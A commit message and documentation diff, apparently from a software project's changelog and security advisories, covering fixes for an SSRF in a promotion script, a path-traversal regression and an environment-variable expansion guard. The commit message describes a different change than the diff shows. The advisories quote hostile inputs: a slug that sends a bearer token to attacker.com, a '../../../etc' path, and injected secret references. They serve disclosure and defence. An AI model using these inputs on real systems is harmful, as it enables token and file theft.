docs(security): backfill security/index.mdx — link OWASP Top 10 + changelog, add severity table

Opportunistic stub backfill. The index was a 277-byte stub with only
a title, description, and one link. Expanded to:
- Link to OWASP Agentic Top 10 (2026-04-28)
- Link to Security Changelog
- Severity level table (CRITICAL/HIGH/MEDIUM/LOW) to orient readers

No paired PR — this is a documentation quality improvement, not tied to
a source-code change.

+### ✨ New features
+
+- **Graceful shutdown support for remote agents**: `run_heartbeat_loop()` and `run_agent_loop()` in `molecule-sdk-python` now accept a `stop_event: threading.Event` parameter. Set the event from a SIGTERM handler to exit the loop cleanly with return value `"stopped"` — enabling proper graceful shutdown in Kubernetes, Docker, and other container-orchestrated environments. (`molecule-sdk-python` [#8](https://git.moleculesai.app/molecule-ai/molecule-sdk-python/pulls/8))
+
+### 🔧 Fixes
+
+- **PLATFORM_URL defaults aligned across all runtime modules**: all workspace runtime modules (`a2a_cli.py`, `a2a_client.py`, `a2a_mcp_server.py`, and 10 others) now consistently default `PLATFORM_URL` to `http://host.docker.internal:8080`. Previously some modules defaulted to `http://platform:8080`, causing connection failures in containerized deployments where the Docker host is not named `platform`. (`molecule-ai-workspace-runtime` [#12](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-runtime/pulls/12))
 
 ### 🔒 Security
 
-- **CWE-78 regression in `expandWithEnv` POSIX-identifier guard fixed (Critical)**: the shell-identifier guard in `expandWithEnv` (`org_helpers.go:82`) was inadvertently removed during a regression window between staging and main promotion. This guard prevents org YAML configurations from expanding invalid shell identifiers (e.g. `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`) as environment variables — blocking secret exfiltration via malicious `workspace_dir` or channel config fields. Restored with regression tests covering `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`. Full advisory: [Security Changelog](/docs/security/changelog). (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
-- **OFFSEC-006: tenant-slug SSRF + bearer-token exfiltration in self-hosted promotion script (HIGH)**: `scripts/promote-tenant-image.sh` interpolated tenant slugs directly into URL paths and ECR identifiers without validation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could redirect HTTP calls to an attacker-controlled host (SSRF) and cause the platform's bearer token to appear in the attacker's server logs. Two-layer fix applied: `set -f` disables bash glob expansion (preventing metacharacter injection via `*`, `?`, `[`), and `validate_slug()` rejects any slug not matching RFC-1123 (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`) with exit code 64 before any network call. Self-hosted operators must upgrade `molecule-core` to include this fix. Full advisory: [OFFSEC-006 advisory](/docs/security/offsec-006-slug-ssrf-advisory). (`molecule-core` [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/933))
-- **OFFSEC-003: workspace-side A2A boundary marker escaping (trust boundary hardening)**: the `tool_delegate_task` workspace tool now wraps delegation output with `_A2A_BOUNDARY_START_ESCAPED` / `_A2A_BOUNDARY_END_ESCAPED` instead of raw markers, preventing raw boundary markers from leaking into output alongside their escaped form. Additionally, responses containing the raw closer `[A2A_RESULT_FROM_PEER]` are now truncated before sanitization — so injection of the raw closer cannot be retroactively re-added by the sanitization pass. Together with the platform-side sanitization (shipped 2026-05-11), this closes the full OFFSEC-003 trust-boundary for delegation result delivery. (`molecule-core` [#1073](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1073))

-### 🐛 Bug fixes
-
-- **`expandWithEnv` POSIX-identifier guard regression restored**: the same fix as above — restores the guard that was removed during a refactor, ensuring invalid shell identifiers in org YAML configs are returned literally instead of being interpreted as environment variable references. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
-- **Canvas WCAG 1.4.3 contrast ratio fixed for TIER_CONFIG legend**: the tier legend text in the canvas now meets the 4.5:1 contrast ratio required by WCAG 1.4.3 for normal text. (`molecule-core` [#990](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/990))
-- **Canvas focus-visible rings added to icon and text buttons**: focus-visible rings (`focus-visible:ring-2`) now render on icon buttons and text-only buttons in the canvas, restoring WCAG 2.1 AA compliance for all interactive elements. (`molecule-core` [#988](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/988))
-- **OpenClaw template `models` config moved to correct level**: the OpenClaw workspace template's `config.yaml` had `models` at the top level, but the platform template handler reads from `runtime_config.models`. This caused `/templates` to return empty models and providers → a blank "Missing API Keys" dialog with no selectable providers, disabling the Deploy button. Moved all model entries under `runtime_config` and added Groq and OpenRouter as alternative providers alongside OpenAI. (`molecule-ai-workspace-template-openclaw` [#4](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/4))
+- **CWE-22: Path traversal regression in org template import fixed**: a regression removed the path-traversal guard from `createWorkspaceTree` in `org_import.go`, which could allow a malicious org YAML with `filesDir: "../../../etc"` to read arbitrary server files. The fix replaces the unprotected `parseEnvFile` calls with `loadWorkspaceEnv` which applies `resolveInsideRoot` validation before accessing any path. (`molecule-core` [#810](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/810))
 
 ### 🧹 Internal
 
-- **CI infrastructure improvements** (`molecule-core`): `ci-required-drift` workflow updated with job-level `if:` guards to skip `github.ref`-gated jobs in the merge-queue context; `canvas-build` job now has an explicit 20-minute timeout; gitea merge-queue test mocks updated to match current push-gate behavior. (`molecule-core` [#1029](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1029), [#1006](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1006), [#1035](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1035))
-- **Handler test coverage additions** (`molecule-core`): 60+ new SQL-mock test cases covering `InstructionsHandler`, `ScheduleHandler` (28 cases), and the `expandWithEnv` POSIX guard regression suite. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030), [#1005](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1005), [#999](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/999))
+- **Canvas CI hardening**: publish workflow updated to pipefail-safe shell probes; Gitea cache export no longer masks errors; canvas image published to ECR. (`molecule-core` [#773](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/773), [#776](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/776), [#777](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/777))
+- **Go lint CI hardening**: `golangci-lint run` no longer masked with `|| true`, so lint failures now fail the build loudly. (`molecule-core` [#781](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/781))

+**PR:** [#810](https://git.moleculesai.app/molecule-ai/molecule-core/pull/810)
+**Affected:** `workspace-server/internal/handlers/org_import.go` — `createWorkspaceTree`
 
 ### Vulnerability
 
-`expandWithEnv` expands `${VAR}` and `$VAR` references in org YAML configuration fields (notably `workspace_dir` and channel config) using the current process environment. The POSIX shell-identifier guard was inadvertently removed during a regression window between staging and main promotion, causing digit-prefixed and empty keys to be passed through to `os.Getenv` instead of being returned literally.
+A regression removed the `resolveInsideRoot` path-traversal guard from `createWorkspaceTree` at `org_import.go:494`. The function called `parseEnvFile(filepath.Join(orgBaseDir, ws.FilesDir, ".env"))` without validating that `ws.FilesDir` resolved inside `orgBaseDir`.
 
-An attacker who can supply org YAML (e.g., via a compromised org template import or a malicious admin account) could inject references such as `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`, or `${PATH}` to exfiltrate host secrets into workspace or channel configuration fields.
+An attacker who could submit a malicious org YAML with `filesDir: "../../../etc"` could cause the platform to read arbitrary files accessible to the server process via the `.env` loading path.
 
 ### Fix
 
-Restored the POSIX identifier guard at `org_helpers.go:82`. Keys not starting with `[a-zA-Z_]` (including empty key) are now returned literally as `$key` without consulting `os.Getenv`:
-
-```go
-c := key[0]
-if !((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '_') {
-    return "$" + key // not a valid shell identifier — return literally
-}
-```
-
-Regression tests cover `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`.
+Replaced the two raw `parseEnvFile` calls with `loadWorkspaceEnv(orgBaseDir, ws.FilesDir)`, which applies `resolveInsideRoot` internally before joining paths. This restores the guard that was present before the regression was introduced.
 
 ### User-facing summary
 
-Org YAML configuration fields no longer expand invalid shell identifiers as environment variables. Configurations containing `${0}`, `${}`, or `${1VAR}` patterns are returned as-is. If you observe literal `$` prefixes appearing in workspace directory or channel configuration fields after upgrading, this indicates a previously-masked configuration issue — contact support.
+The org template import endpoint now validates all workspace file paths before accessing them. Attempts to access files outside the designated org directory return an error and are never processed.
